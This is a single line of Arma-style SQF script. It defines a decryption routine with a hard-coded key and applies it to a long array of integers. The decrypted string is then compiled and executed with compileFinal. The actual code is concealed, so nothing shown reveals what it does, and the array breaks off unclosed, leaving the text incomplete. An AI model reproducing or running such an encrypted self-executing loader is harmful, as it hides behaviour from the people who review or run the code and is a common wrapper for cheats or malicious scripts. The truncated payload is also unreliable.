- _Decrypt = {_Key="DTCR*Jsgx/c>ZWq)x";_DecryptMe = _this;_counter = 0;_Array = toArray(_Key);for "_i" from 0 to (count(_decryptme)-1) do {if(_counter > (count(_Array)-1)) then {_counter = 0;};_var = (_decryptme select _i) / (_Array select _counter);_decryptme set[_i,_var];_counter = _counter + 1;};toString(_decryptme);};call compileFinal([ 4624, 6636, 6365, 6396, 3230, 2625, 3657, 1344, 4514, 3680, 12669, 1560, 470, 891, 6944, 9720, 8439, 13673, 3403, 13320, 7956, 9240, 6700, 2624, 1292, 2275, 5724, 4074, 8436, 12535, 3502, 7080, 611, 990, 558, 9360, 9135, 12430, 4756, 9960, 7140, 9072, 6767, 9020, 4408, 1120, 5936, 4074, 8436, 13225, 10403, 10080, 4747, 11880, 7192, 3060, 5220, 13108, 1312, 13800, 7140, 10248, 6767, 5002, 1482, 1715, 2438, 2058, 2886, 7130, 8034, 14040, 5029, 9999, 1984, 6120, 8787, 13108, 4551, 13200, 6596, 9744, 7035, 9102, 4180, 1120, 3869, 4620, 4440, 5405, 11948, 7440, 2820, 9702, 7068, 4230, 5394, 6780, 4018, 13680, 3196, 5208, 4020, 9512, 1216, 4025, 5565, 5124, 7474, 7015, 4017, 6000, 1833, 6138, 3286, 5400, 4089, 13108, 2542, 4080, 4012, 1092, 670, 738, 4370, 3780, 5353, 4242, 8288, 3680, 5047, 7080, 611, 990, 558, 10080, 9396, 10961, 4961, 9960, 7548, 9828, 7370, 8200, 1216, 1190, 3445, 4536, 7178, 13110, 11227, 4080, 2773, 1287, 620, 810, 9048, 11865, 4510, 13920, 5644, 8820, 7236, 8282, 4180, 4060, 1696, 4704, 7178, 13110, 11845, 12120, 3948, 9999, 7440, 10440, 2958, 6780, 4756, 3840, 7820, 8820, 8174, 8282, 2318, 1365, 2597, 1932, 3626, 4485, 6386, 9360, 5499, 10593, 6262, 2880, 5916, 11413, 4756, 13320, 7480, 8148, 7772, 8610, 4218, 3850, 1696, 3066, 8140, 6900, 4841, 13920, 2914, 5940, 6076, 10260, 4089, 7006, 2460, 11760, 7752, 3948, 4154, 4920, 4408, 1120, 6095, 4410, 9028, 11615, 6283, 4680, 2350, 3861, 3844, 4680, 5220, 5311, 4756, 7440, 2312, 4956, 871, 820, 342, 4025, 5724, 4242, 7474, 12880, 3296, 5880, 2773, 1287, 620, 810, 9744, 12204, 3977, 14520, 5644, 9324, 7839, 9020, 3800, 1120, 1802, 2730, 7992, 11155, 11742, 13080, 1598, 5841, 806, 900, 783, 11752, 4305, 13200, 7888, 6972, 7035, 8856, 3838, 3850, 6148, 1344, 8288, 11155, 11742, 13800, 4747, 8316, 6262, 10800, 10092, 3842, 2460, 13920, 2176, 9660, 7035, 10004, 3838, 2135, 2067, 2058, 3404, 5635, 4017, 7440, 3666, 11583, 6634, 9090, 2784, 7684, 4141, 13920, 7548, 9240, 6499, 9512, 3990, 3885, 5830, 1344, 5402, 12650, 6180, 5640, 5452, 6138, 3720, 8820, 9918, 5311, 2542, 7200, 6664, 9576, 3149, 5084, 2280, 4060, 1696, 4830, 7770, 14030, 10403, 7320, 1833, 4950, 2418, 5580, 4437, 6780, 1927, 13920, 4216, 2856, 3953, 1066, 380, 315, 6095, 4536, 7474, 11615, 11536, 3840, 2303, 5841, 806, 900, 783, 12656, 4428, 11640, 8228, 6972, 7437, 9594, 4180, 3500, 1696, 1428, 4810, 12420, 9991, 13680, 5123, 3366, 3658, 1170, 870, 1017, 4264, 12600, 7480, 9744, 5561, 8610, 4104, 3535, 5830, 4872, 2368, 12880, 9991, 13680, 5405, 9999, 5208, 9090, 10440, 13108, 1394, 7200, 7888, 2688, 7705, 8610, 4636, 3535, 3233, 1638, 3626, 5290, 5047, 4680, 2914, 7722, 7254, 9630, 8787, 3616, 2788, 12120, 7888, 9324, 7370, 7954, 4408, 3675, 5883, 4620, 2368, 8395, 11330, 7200, 2209, 11484, 3844, 5400, 8526, 12882, 1927, 7440, 4080, 8232, 7638, 3854, 2356, 2100, 6148, 1344, 8510, 12075, 12566, 12120, 2867, 3861, 3100, 3510, 5394, 5650, 2460, 5640, 7888, 5208, 2278, 4838, 494, 350, 477, 4830, 7992, 11615, 10403, 13440, 1504, 4851, 3658, 1170, 870, 1017, 4592, 12960, 6596, 10164, 5561, 9102, 4446, 3850, 5300, 1344, 2516, 7475, 11124, 11640, 5358, 10791, 2108, 5310, 1131, 1130, 369, 12480, 7140, 9240, 7772, 6806, 3990, 3780, 5353, 4620, 8584, 3680, 11536, 11640, 5358, 11385, 6262, 7560, 8787, 13560, 4756, 4080, 4080, 9744, 2144, 9430, 3990, 4270, 5353, 2562, 2886, 5635, 4738, 5880, 1833, 6138, 4836, 10530, 9309, 11413, 1312, 8160, 6868, 9744, 7437, 9020, 3686, 4060, 5565, 4662, 8140, 3680, 7519, 13200, 2820, 4653, 7192, 5580, 5220, 11074, 4674, 5640, 4216, 5040, 6566, 9348, 1786, 2170, 3180, 4872, 2368, 13225, 10815, 14640, 4747, 6039, 2418, 4500, 3393, 7006, 2009, 7200, 3196, 9744, 4154, 2788, 2242, 455, 530, 378, 8510, 12420, 10403, 12120, 5264, 3168, 3038, 5310, 1131, 1130, 369, 13440, 7344, 8148, 8107, 6806, 4218, 4095, 5830, 4200, 2368, 3910, 6695, 12960, 4559, 11286, 6758, 3060, 5133, 1469, 410, 1080, 7072, 8820, 7370, 9512, 3154, 3675, 5724, 4242, 8140, 13340, 3296, 4080, 1598, 5841, 806, 900, 783, 12995, 4428, 12120, 6868, 9408, 2144, 4018, 2242, 455, 530, 378, 8140, 13455, 11021, 12120, 5264, 10989, 7130, 2880, 5307, 3616, 1394, 9120, 6596, 9240, 6700, 7790, 3154, 3395, 5247, 4494, 7030, 8050, 3502, 3840, 4653, 11286, 6262, 8730, 10092, 11413, 3526, 12120, 7072, 8820, 6633, 8856, 3838, 2660, 5883, 4158, 7178, 12420, 3296, 11400, 5452, 10296, 6510, 10350, 5133, 1469, 410, 1080, 7412, 8400, 6968, 7790, 4180, 4095, 5671, 4242, 7030, 11500, 10403, 13800, 5452, 11286, 7254, 8910, 10092, 11865, 4551, 13200, 6460, 10248, 7437, 9020, 3838, 315, 3233, 1344, 3552, 6785, 1339, 1200, 423, 10791, 6200, 9360, 8265, 12430, 4797, 12840, 6868, 7980, 6633, 7954, 4142, 4025, 5512, 4074, 7918, 11615, 927, 1080, 423, 6039, 1984, 4410, 5133, 1469, 410, 1080, 7412, 8400, 6968, 7790, 4180, 4095, 5671, 4242, 7030, 11155, 11845, 12480, 423, 891, 558, 810, 5307, 3616, 2009, 7080, 884, 840, 603, 8938, 3800, 3640, 5035, 4620, 8658, 12305, 10403, 11400, 4653, 10989, 6696, 9990, 9918, 11187, 4551, 13680, 7752, 8484, 6633, 9512, 3990, 3885, 5830, 378, 4514, 3680, 5047, 7080, 611, 990, 558, 9810, 8700, 11752, 3895, 13200, 7956, 8988, 6767, 7790, 4332, 3535, 5777, 4662, 8732, 11615, 10197, 13320, 5358, 11286, 6262, 8910, 10092, 11865, 4551, 13200, 612, 5124, 2144, 4018, 2242, 455, 530, 378, 8066, 11500, 10712, 11400, 5170, 11583, 6634, 9090, 8265, 12882, 4141, 13080, 7548, 9912, 6767, 7954, 4370, 3640, 1696, 378, 666, 1035, 6283, 3840, 2303, 5841, 806, 900, 1131, 1130, 533, 1200, 612, 7980, 4489, 9102, 4180, 3535, 1696, 2562, 2368, 3910, 3605, 13440, 4559, 11286, 7192, 9450, 8613, 12204, 4141, 13800, 7548, 9828, 7638, 8118, 3838, 1190, 1696, 4158, 8436, 11615, 9991, 13920, 4747, 8514, 6262, 9360, 9135, 11187, 4428, 12120, 5168, 9324, 6633, 7954, 4104, 1120, 5459, 4242, 8584, 12880, 11433, 13800, 1504, 10890, 7254, 9630, 8787, 12656, 4551, 13800, 4012, 1092, 670, 738, 3610, 2345, 5883, 4620, 7474, 3680, 11845, 12120, 5452, 7920, 6014, 10260, 10092, 11865, 4059, 12960, 6868, 6720, 6499, 9348, 3686, 3815, 6095, 1344, 6734, 10465, 3502, 7800, 2397, 9108, 4216, 8730, 10092, 10961, 3895, 8400, 6256, 6720, 6499, 9348, 4408, 3675, 5247, 4536, 7474, 7935, 10506, 12240, 4747, 9801, 7192, 10350, 8004, 9605, 4510, 12600, 8024, 8484, 7638, 9430, 3686, 3780, 4876, 4914, 8140, 12075, 12154, 12120, 5358, 11385, 6014, 9720, 4002, 12656, 2091, 12000, 2312, 3696, 2144, 4018, 2052, 1540, 1696, 2310, 3256, 3680, 5356, 6720, 4371, 4356, 1984, 3060, 2958, 4972, 1312, 4080, 4488, 8820, 7236, 8856, 3724, 3885, 5141, 4788, 7400, 3910, 4532, 3840, 2303, 4356, 1984, 4410, 4176, 4972, 1312, 10920, 3264, 3696, 2144, 3936, 1672, 1120, 2544, 3906, 3256, 1495, 1030, 1080, 423, 891, 558, 810, 7917, 5424, 1804, 3840, 3264, 3696, 2144, 3936, 3534, 1540, 1696, 2016, 3256, 3680, 5047, 5520, 2350, 5445, 3286, 3960, 2784, 5537, 1804, 3840, 3264, 3696, 2144, 7462, 1976, 1680, 2332, 2352, 3552, 10695, 4532, 3840, 4277, 9009, 2976, 4140, 4350, 5989, 1804, 3840, 3264, 3864, 3350, 4346, 1672, 1120, 2544, 1932, 3700, 6095, 4532, 3840, 2256, 9207, 2728, 2880, 7917, 5424, 1886, 6000, 3604, 3696, 2144, 3936, 1748, 1750, 2809, 1848, 2368, 5520, 4738, 6000, 2491, 4356, 1984, 4320, 4002, 5989, 3813, 5280, 2176, 1092, 670, 738, 342, 315, 477, 378, 6734, 5520, 4738, 6000, 2491, 4356, 1984, 4320, 4002, 5650, 2173, 5280, 2176, 4032, 3082, 4100, 2014, 1540, 1696, 2016, 3404, 6095, 9579, 5280, 1504, 9009, 2976, 4140, 4350, 5989, 1804, 3840, 3264, 3864, 3350, 4346, 1672, 1120, 2544, 1932, 3700, 6095, 4532, 3840, 2256, 4554, 2976, 4770, 8091, 4972, 1312, 10920, 3264, 3864, 3350, 4346, 1672, 1120, 2544, 1932, 3700, 6095, 4532, 3840, 2256, 4554, 3100, 4770, 3828, 3616, 1968, 11160, 6324, 3696, 2144, 7462, 1824, 1610, 2650, 2226, 6882, 5060, 3296, 5760, 2162, 4851, 2728, 2880, 4263, 4972, 1312, 4080, 2312, 3696, 2144, 2788, 1292, 1540, 1696, 4620, 8658, 12305, 10403, 13440, 5217, 11385, 5766, 5310, 1131, 1130, 369, 11400, 4556, 9324, 7370, 8282, 1216, 4025, 5353, 4872, 5920, 11155, 11742, 13920, 4935, 9801, 6696, 9090, 7134, 10961, 4510, 12000, 7548, 9156, 2144, 7462, 1900, 1540, 1696, 3822, 3626, 5060, 3296, 5880, 2068, 3168, 3162, 4320, 8091, 4972, 1312, 10920, 3332, 3696, 2144, 4018, 1672, 1120, 2703, 2016, 6882, 5060, 3296, 5760, 2068, 3168, 2976, 3960, 2784, 10283, 1968, 5280, 2176, 4032, 2948, 2624, 1824, 1540, 1696, 2016, 3404, 5635, 9579, 5280, 1504, 4752, 2728, 2880, 4176, 10509, 2419, 1560, 680, 756, 6365, 5494, 4218, 3850, 5353, 1344, 8510, 11615, 11948, 9600, 4559, 11286, 7192, 9450, 8613, 12204, 4141, 8040, 7140, 9576, 6633, 8856, 3838, 1120, 4823, 2058, 3552, 5060, 3296, 10920, 2115, 4851, 2976, 3960, 2784, 5085, 2009, 5760, 2992, 2688, 3350, 3936, 3534, 3255, 3127, 546, 740, 1035, 9785, 8040, 5217, 10890, 6262, 2880, 10005, 11413, 4756, 8160, 7752, 9324, 7504, 5986, 4180, 4060, 5353, 4788, 8732, 11155, 11124, 3840, 2256, 4554, 2976, 4320, 4611, 6667, 533, 1200, 884, 840, 603, 7790, 4408, 3885, 5936, 1344, 4514, 3680, 3502, 4200, 5264, 9603, 7068, 10440, 9135, 11187, 4428, 12120, 7820, 9324, 7839, 9348, 3762, 3535, 1802, 1344, 7326, 13110, 10403, 11640, 5452, 9999, 5332, 9090, 9048, 11865, 4059, 12960, 6868, 6384, 7437, 8118, 3686, 3780, 1696, 4326, 7474, 13340, 11536, 13320, 5405, 3168, 6820, 10530, 9309, 11413, 4592, 13320, 7820, 4956, 871, 820, 342, 3325, 6148, 4662, 8288, 3680, 11845, 12120, 5452, 7920, 6014, 10260, 10092, 11865, 4059, 12960, 6868, 6720, 6499, 9348, 3686, 3815, 6095, 1344, 6734, 10465, 3502, 7800, 2397, 9108, 4216, 8730, 10092, 10961, 3895, 8400, 6256, 6720, 6499, 9348, 4408, 3675, 5247, 4536, 7474, 7935, 10506, 12240, 4747, 9801, 7192, 10350, 8004, 9605, 4510, 12600, 8024, 8484, 7638, 9430, 3686, 3780, 4876, 4914, 8140, 12075, 12154, 12120, 5358, 11385, 6014, 9720, 4002, 12656, 2091, 12000, 2312, 3696, 2144, 4018, 2052, 1540, 1696, 2142, 3256, 3680, 5356, 6720, 2068, 3168, 2976, 8370, 3828, 3616, 1394, 4080, 2992, 2688, 2278, 5412, 3990, 3780, 5724, 4116, 8214, 11155, 11742, 12000, 1598, 4356, 1984, 4410, 3828, 3616, 2050, 5760, 2992, 2688, 6097, 3936, 1672, 1120, 2544, 1848, 2368, 5520, 9579, 5280, 611, 990, 558, 810, 783, 1017, 369, 10920, 3264, 3696, 2144, 3936, 1672, 1120, 2862, 2016, 6882, 5060, 3296, 5760, 2068, 3168, 3038, 4140, 4785, 4972, 1312, 5880, 2992, 2688, 3216, 3608, 1216, 3185, 2862, 2016, 3256, 6440, 4944, 5280, 2303, 4752, 2976, 8370, 3828, 3616, 3731, 10920, 3332, 3696, 2144, 4018, 1672, 1120, 2597, 1848, 2368, 5175, 5047, 5760, 4371, 4356, 5642, 4410, 3828, 3616, 2009, 5280, 2176, 4116, 2948, 2624, 1710, 1925, 4929, 1848, 6734, 5635, 4532, 3840, 2303, 4356, 1984, 4410, 3828, 3616, 1845, 6240, 6324, 3696, 6097, 4018, 1672, 1120, 2597, 1848, 2368, 5635, 4532, 3840, 2115, 4752, 2852, 4770, 8091, 4972, 3731, 5880, 2992, 2688, 3283, 3608, 1216, 1715, 2332, 1344, 3552, 10695, 9579, 5280, 1504, 9009, 2976, 4140, 4176, 5989, 3813, 5280, 2176, 4116, 2948, 2624, 1862, 1540, 1696, 1428, 2516, 5060, 3296, 4080, 1598, 4356, 1984, 9900, 10179, 12091, 4141, 13440, 7548, 9660, 6231, 4838, 494, 350, 477, 3990, 8584, 12765, 11536, 3840, 5405, 9999, 7192, 7200, 8439, 12882, 4756, 12600, 6732, 9072, 6767, 6724, 3686, 3850, 5300, 4662, 8066, 3680, 9373, 5760, 2068, 3168, 5642, 4950, 4611, 4972, 1312, 6600, 3604, 3696, 2144, 4018, 2014, 3255, 2332, 1344, 6734, 5635, 5665, 5280, 1504, 4851, 3410, 3960, 2784, 5537, 1968, 11160, 2992, 2688, 3216, 3608, 1216, 1680, 2332, 1344, 6734, 5520, 4532, 3840, 2256, 4356, 1984, 4320, 3828, 3616, 1968, 11160, 2992, 2688, 3216, 3608, 1216, 1680, 2332, 1344, 3774, 6210, 4944, 11160, 2773, 1287, 620, 810, 8265, 13108, 4551, 13440, 2176, 9660, 6767, 9512, 2584, 3990, 5883, 4704, 5402, 12650, 11948, 12120, 5358, 11682, 6014, 9720, 2784, 5424, 1886, 5760, 3264, 4200, 3953, 1066, 380, 455, 530, 378, 7030, 13340, 11433, 13440, 2350, 3168, 3782, 2880, 2958, 3955, 4592, 11640, 7752, 9744, 7035, 8118, 4104, 3535, 6095, 4662, 8658, 13110, 10197, 12120, 1598, 3168, 6138, 10260, 8787, 10961, 4756, 12120, 5848, 8484, 6968, 8610, 3762, 3780, 5353, 3192, 8214, 11385, 9991, 12960, 1504, 10197, 6262, 10440, 9744, 12543, 4715, 3840, 7480, 9828, 7169, 8282, 4256, 3885, 6095, 2478, 962, 1150, 927, 11400, 5452, 10989, 6944, 4500, 2784, 12995, 4141, 13920, 5440, 8148, 7638, 9512, 3990, 3465, 5724, 4242, 5920, 11155, 11742, 11640, 5123, 11385, 1984, 8190, 7917, 3842, 2665, 6120, 6256, 5712, 6499, 9512, 3686, 3325, 3710, 3864, 5920, 11155, 11742, 13920, 4935, 9801, 6696, 9090, 6003, 11526, 4182, 12120, 6732, 9744, 7705, 7544, 3230, 3850, 5565, 4956, 7474, 13110, 11845, 11640, 5076, 9108, 7254, 9900, 9135, 13334, 4141, 13680, 7820, 8148, 7236, 3772, 4256, 1785, 5300, 1428, 3256, 3680, 5047, 6480, 2068, 3168, 3162, 3960, 2784, 5537, 2009, 6000, 2992, 2688, 3216, 7626, 1672, 1120, 1802, 1428, 3256, 3680, 3502, 7920, 4935, 10692, 6696, 8820, 9657, 10961, 4674, 12000, 2312, 3696, 2144, 4018, 1672, 1120, 2650, 2016, 3256, 3680, 9373, 5760, 2068, 3168, 2976, 3960, 2784, 5424, 3813, 5280, 884, 840, 603, 738, 342, 315, 477, 3822, 3552, 5060, 3296, 5760, 2068, 3168, 3348, 4320, 8091, 4972, 1312, 5760, 2992, 2688, 3283, 3772, 2090, 1540, 1696, 2058, 3256, 3680, 4944, 5280, 1504, 9009, 3348, 4320, 3828, 6328, 1968, 5280, 3332, 4032, 3216, 7626, 1672, 1120, 4823, 3822, 3626, 5060, 3296, 5880, 2068, 3168, 3038, 3960, 2784, 5424, 1886, 6360, 6324, 3696, 6097, 4018, 1672, 1120, 2597, 1848, 2368, 5635, 4532, 3840, 2256, 9207, 5766, 3960, 2784, 10283, 1968, 5520, 3264, 4620, 6231, 3608, 1216, 1715, 2332, 1344, 3626, 5060, 3296, 4080, 1598, 4356, 1984, 3060, 2958, 4972, 1312, 13200, 7956, 8988, 6767, 9184, 4218, 4025, 4929, 2478, 962, 1150, 927, 11400, 5452, 10989, 6944, 4500, 2784, 12995, 4141, 13920, 5440, 8148, 7638, 9512, 3990, 3465, 5724, 4242, 6068, 11155, 11330, 12000, 5217, 10791, 1984, 8190, 4176, 4972, 1312, 10920, 3740, 4452, 2948, 2624, 2090, 1855, 2332, 1344, 3626, 6095, 9579, 5280, 1504, 9009, 3038, 4950, 3828, 3616, 2009, 6600, 2992, 2688, 3283, 3936, 3534, 1540, 1696, 2016, 3256, 3680, 4944, 5280, 1504, 9009, 2976, 3960, 2784, 5424, 1804, 3840, 3264, 3696, 2144, 3936, 3534, 1540, 1696, 2016, 3256, 3680, 4944, 5280, 1504, 5049, 3348, 4320, 8091, 6667, 533, 1200, 612, 7980, 7772, 9102, 4256, 1750, 1696, 4830, 7474, 13340, 7004, 13680, 5217, 11088, 4526, 9900, 10092, 11413, 4674, 14160, 6596, 9072, 2144, 3936, 1748, 1680, 2544, 2100, 4366, 1495, 1030, 1560, 470, 891, 5890, 10350, 9483, 12543, 4387, 12120, 2176, 5124, 2144, 2788, 1330, 3920, 5141, 4788, 8584, 12075, 10197, 12960, 4747, 11385, 6882, 10530, 9918, 11187, 4141, 4080, 2176, 8316, 7638, 8282, 3686, 4060, 5353, 3612, 7474, 11960, 10815, 11880, 5076, 9999, 4712, 9990, 8613, 10961, 4428, 3840, 7004, 8484, 7772, 9184, 4218, 4025, 1696, 4620, 8658, 12305, 10403, 13440, 5217, 11385, 3658, 1170, 870, 1017, 3895, 13800, 7412, 9324, 7169, 8282, 1216, 4025, 5353, 4872, 5920, 11155, 11742, 13920, 4935, 9801, 6696, 9090, 6960, 10961, 4674, 11640, 7412, 9660, 2144, 7462, 3458, 1190, 3445, 2142, 6808, 7820, 9991, 13920, 4559, 9405, 4340, 8280, 6960, 10961, 4674, 13920, 7140, 8316, 7236, 8282, 2622, 3570, 5406, 4242, 7326, 13340, 11845, 11040, 3995, 10890, 6510, 10620, 8787, 12882, 4715, 11640, 7344, 7728, 7839, 9020, 3990, 4130, 5353, 4788, 8510, 11155, 11124, 5520, 5264, 5049, 6200, 3060, 3828, 3616, 2009, 6480, 2992, 2688, 3685, 3608, 1216, 1820, 2968, 1848, 2368, 5635, 9579, 5280, 1504, 3366, 2108, 3960, 2784, 3842, 2706, 12600, 7344, 9072, 6566, 9102, 3686, 3990, 5300, 1428, 3256, 3680, 5047, 5280, 1504, 4950, 3286, 3960, 2784, 10283, 1968, 5280, 2176, 4032, 2948, 2624, 1824, 3255, 2332, 546, 740, 1035, 927, 1080, 423, 891, 5642, 4320, 3828, 3616, 1968, 5280, 2176, 4536, 3216, 7626, 1672, 1120, 2544, 1848, 2368, 5635, 4738, 6600, 2068, 3168, 3038, 3960, 2784, 5424, 1804, 3840, 6188, 4368, 3216, 3608, 1862, 1855, 2332, 2058, 3700, 5520, 9579, 5280, 1504, 1287, 620, 810, 783, 1017, 369, 1080, 6188, 7644, 3283, 3608, 1216, 1715, 2332, 1344, 3626, 5060, 3296, 5760, 2162, 5148, 5766, 3960, 7917, 5537, 1804, 3840, 3332, 3696, 2144, 4018, 1672, 1120, 2544, 1932, 4070, 10695, 4532, 10920, 2303, 4356, 1984, 4410, 3828, 3616, 2009, 5280, 2176, 4032, 3082, 4510, 3534, 1540, 4823, 2058, 3256, 3680, 5047, 5280, 1504, 4851, 2728, 2880, 4176, 5198, 2255, 11160, 2992, 7644, 3283, 3608, 1216, 1715, 2332, 1344, 3626, 5060, 3296, 5760, 2162, 5445, 5766, 3960, 7917, 5537, 1804, 3840, 3332, 3696, 2144, 4018, 1672, 1120, 2544, 1932, 4070, 10695, 4532, 10920, 2303, 4356, 1984, 4410, 3828, 3616, 2009, 5280, 2176, 4032, 3082, 4510, 3534, 1540, 4823, 2058, 3256, 3680, 5047, 5280, 1504, 4851, 2728, 2880, 4176, 10509, 3813, 1560, 680, 756, 603, 738, 342, 315, 2332, 1344, 6734, 5520, 4738, 6360, 2068, 3168, 2976, 4140, 4263, 10509, 1804, 3840, 3332, 3696, 2144, 4018, 1672, 1120, 1802, 1428, 3256, 3680, 3502, 4080, 2068, 3168, 6820, 10530, 9309, 11413, 4592, 13320, 7820, 7812, 3953, 1066, 380, 315, 5035, 4830, 8066, 12765, 11021, 12120, 1504, 11385, 6262, 10440, 6960, 10961, 4674, 13920, 7140, 8316, 7236, 8282, 3116, 3395, 5830, 4200, 8214, 12535, 3296, 10920, 2256, 4356, 1984, 8190, 4263, 5424, 1804, 3840, 3332, 4032, 2948, 2624, 1862, 1855, 4929, 1848, 2368, 10465, 5047, 6360, 2068, 3168, 3038, 4770, 3828, 3616, 2255, 11160, 2992, 2688, 3216, 3608, 1216, 1680, 2332, 1344, 6734, 5520, 4532, 3840, 2256, 4356, 1984, 4320, 3828, 3616, 1968, 11160, 2992, 2688, 3216, 3608, 1216, 1680, 2332, 1344, 3774, 6210, 4944, 11160, 2773, 1287, 620, 810, 8265, 12995, 4469, 13320, 7276, 8484, 2144, 9430, 3838, 4060, 3604, 4788, 8214, 12880, 7519, 13200, 5452, 9999, 7068, 10620, 8439, 12204, 1312, 5760, 3128, 4032, 3216, 4100, 2242, 455, 530, 546, 740, 1035, 9373, 11160, 1504, 11385, 6944, 8730, 10353, 12430, 1312, 14760, 884, 840, 603, 738, 4256, 3780, 5141, 5082, 6142, 12765, 12051, 13200, 4700, 3168, 2108, 6210, 8439, 12882, 4756, 12480, 7684, 9828, 6499, 8774, 3838, 3325, 2544, 2184, 2516, 6785, 1339, 1200, 423, 891, 7130, 9720, 8787, 11413, 4592, 3840, 3604, 4956, 871, 820, 342, 315, 5936, 4536, 7178, 13915, 8549, 13320, 5499, 10890, 6200, 2880, 2958, 7797, 3977, 13680, 7888, 8736, 7571, 9594, 3686, 3745, 5353, 3990, 3552, 5980, 3502, 7080, 611, 990, 558, 810, 10005, 12204, 4141, 12120, 7616, 2688, 3551, 4838, 494, 350, 477, 378, 8288, 12420, 9991, 14520, 3901, 10989, 7254, 9900, 8700, 3616, 1394, 8280, 6596, 9576, 7772, 8528, 4294, 4095, 5141, 4494, 7474, 10925, 4944, 6240, 1598, 5841, 806, 900, 783, 1017, 4715, 12960, 6868, 8484, 7504, 2624, 2014, 2065, 689, 420, 666, 1035, 11536, 12960, 4559, 11979, 5146, 9990, 10179, 12430, 4100, 3840, 2312, 5796, 6499, 9348, 4408, 3640, 5989, 4914, 7178, 12305, 10403, 11400, 2256, 5148, 2108, 5310, 1131, 1130, 369, 1080, 7820, 9072, 6767, 8282, 4256, 1120, 2809, 2478, 962, 1150, 927, 1080, 5264, 10692, 6014, 10890, 7221, 12543, 4797, 13200, 6800, 2688, 2278, 5658, 3686, 3990, 6148, 4368, 8362, 13455, 9991, 12840, 4747, 9405, 2976, 4680, 2958, 6667, 533, 1200, 612, 756, 7705, 8856, 3838, 3535, 5936, 1344, 3922, 6785, 1339, 1200, 423, 891, 6944, 9720, 8439, 13673, 3403, 13320, 7956, 9240, 6700, 2624, 1292, 2415, 5141, 4788, 8584, 11960, 11639, 14040, 4559, 10593, 6262, 8550, 4176, 5876, 1394, 7080, 884, 840, 603, 738, 4370, 3780, 5353, 4242, 8288, 3680, 5459, 7080, 611, 990, 558, 11250, 5133, 1469, 410, 1080, 6460, 7308, 6499, 9676, 3838, 1120, 3233, 1344, 2516, 4025, 11536, 11640, 5358, 11484, 6510, 8910, 9396, 11413, 4715, 13320, 7956, 9576, 6633, 8282, 1292, 1120, 5247, 4788, 7474, 11155, 11948, 12120, 4042, 9999, 6448, 9450, 8613, 12204, 4141, 9120, 7548, 8316, 6499, 8856, 1216, 3605, 5353, 4872, 8288, 12765, 11845, 3840, 5170, 11583, 6634, 9090, 9744, 12543, 4715, 7080, 884, 840, 603, 7790, 3306, 3395, 6254, 4242, 2368, 13225, 10403, 13920, 3760, 9603, 7068, 10440, 9135, 11187, 4428, 12120, 5440, 8148, 7638, 7954, 4142, 4025, 1696, 3822, 6734, 3910, 6695, 6120, 4324, 6732, 6014, 10440, 8439, 10735, 2870, 11040, 5440, 8148, 7638, 9512, 3990, 3465, 5724, 4242, 5106, 11730, 10506, 12120, 4653, 11484, 7130, 8280, 7395, 12430, 4305, 14160, 6868, 9576, 7705, 7954, 4104, 3220, 6201, 4620, 7770, 13570, 10403, 13680, 5405, 9603, 6696, 4140, 9744, 5763, 4100, 4080, 2992, 2688, 3283, 4428, 1672, 1120, 2915, 1848, 2368, 5980, 5768, 11160, 2068, 3168, 2108, 3060, 3828, 3616, 1394, 7920, 7140, 9072, 7236, 8036, 4218, 3395, 6042, 4200, 2516, 5060, 3296, 5880, 2068, 3168, 3100, 4320, 3828, 3616, 3731, 5760, 2992, 2688, 3216, 3608, 1216, 1680, 4929, 1848, 962, 1150, 927, 1080, 423, 891, 558, 8190, 4176, 4972, 1312, 5760, 2992, 2688, 3216, 7626, 1672, 1120, 2544, 1848, 2368, 5635, 4738, 6360, 2068, 3168, 3038, 3960, 2784, 5424, 1804, 3840, 6188, 4452, 3216, 3608, 1216, 1715, 2544, 2016, 6882, 5060, 3296, 10920, 4277, 4752, 2852, 4410, 3828, 3616, 1968, 5520, 3332, 3696, 2144, 3936, 1748, 1715, 2332, 1344, 3552, 5290, 5459, 11160, 2068, 3168, 806, 900, 783, 1017, 369, 1080, 612, 7644, 3216, 3772, 2014, 1540, 1696, 2016, 3404, 6095, 4532, 3840, 2256, 4554, 3286, 3960, 2784, 5424, 1886, 6360, 6324, 3696, 2144, 7462, 1862, 1540, 1696, 2058, 3256, 3680, 5047, 5280, 1504, 4752, 2852, 4590, 8091, 4972, 1312, 10920, 3332, 3696, 2144, 4018, 1672, 1120, 2597, 1848, 2368, 5520, 9579, 11160, 2068, 3168, 5642, 4410, 3828, 5424, 1886, 6360, 6324, 3696, 2144, 3936, 1748, 1715, 2332, 1344, 3626, 5060, 3296, 4080, 1598, 4356, 1984, 3060, 2958, 4972, 1312, 13200, 7956, 8988, 6767, 9184, 4218, 4025, 4929, 2478, 962, 1150, 927, 11400, 4089, 9603, 7316, 9090, 2784, 12995, 4141, 13920, 5440, 8148, 7638, 9512, 3990, 3465, 5724, 4242, 6068, 11155, 11330, 12000, 5217, 10791, 1984, 8190, 4350, 4972, 1312, 10920, 3400, 4032, 2948, 2624, 1900, 1680, 2332, 1344, 3700, 5520, 9579, 5280, 1504, 9009, 3286, 3960, 2784, 5989, 1804, 3840, 3264, 7812, 2948, 2624, 1824, 1540, 1696, 2016, 3256, 3680, 9373, 5760, 2068, 3168, 2976, 3960, 2784, 5424, 1804, 3840, 3264, 3864, 3283, 7626, 1672, 1120, 2544, 1848, 2368, 5520, 9579, 7080, 611, 990, 558, 8550, 7569, 10961, 4838, 12120, 2176, 9660, 6767, 9512, 3040, 3395, 6042, 4872, 7770, 11385, 11124, 12120, 3149, 10395, 7068, 8910, 9396, 11413, 1312, 10920, 3604, 4032, 2948, 2624, 3458, 1575, 2968, 2016, 3256, 3680, 4635, 6720, 2256, 4356, 1984, 4500, 4002, 5989, 3813, 11160, 4012, 1092, 670, 738, 3610, 3045, 5141, 4956, 7474, 3680, 11845, 12120, 5452, 6732, 7068, 9990, 9744, 8249, 4510, 13920, 6868, 9576, 7906, 7954, 4104, 1120, 2544, 1932, 3552, 5520, 4944, 6000, 2773, 1287, 620, 1170, 870, 1469, 410, 1080, 6460, 9072, 7035, 8446, 3952, 4060, 1696, 2562, 2368, 3910, 3605, 12960, 4935, 10197, 6448, 10440, 9744, 12543, 4305, 13200, 7888, 2856, 2144, 8118, 4332, 3535, 5141, 4872, 7474, 9890, 10403, 12480, 4935, 9801, 6696, 9090, 6612, 12543, 4059, 11640, 7344, 2688, 6097, 3280, 1520, 3605, 5353, 4872, 8288, 12765, 11845, 3840, 5170, 11583, 6634, 9090, 9744, 12543, 4715, 3840, 7820, 8484, 7236, 8282, 3762, 4060, 1696, 2016, 3034, 4715, 4532, 4800, 4841, 9999, 7192, 10080, 9657, 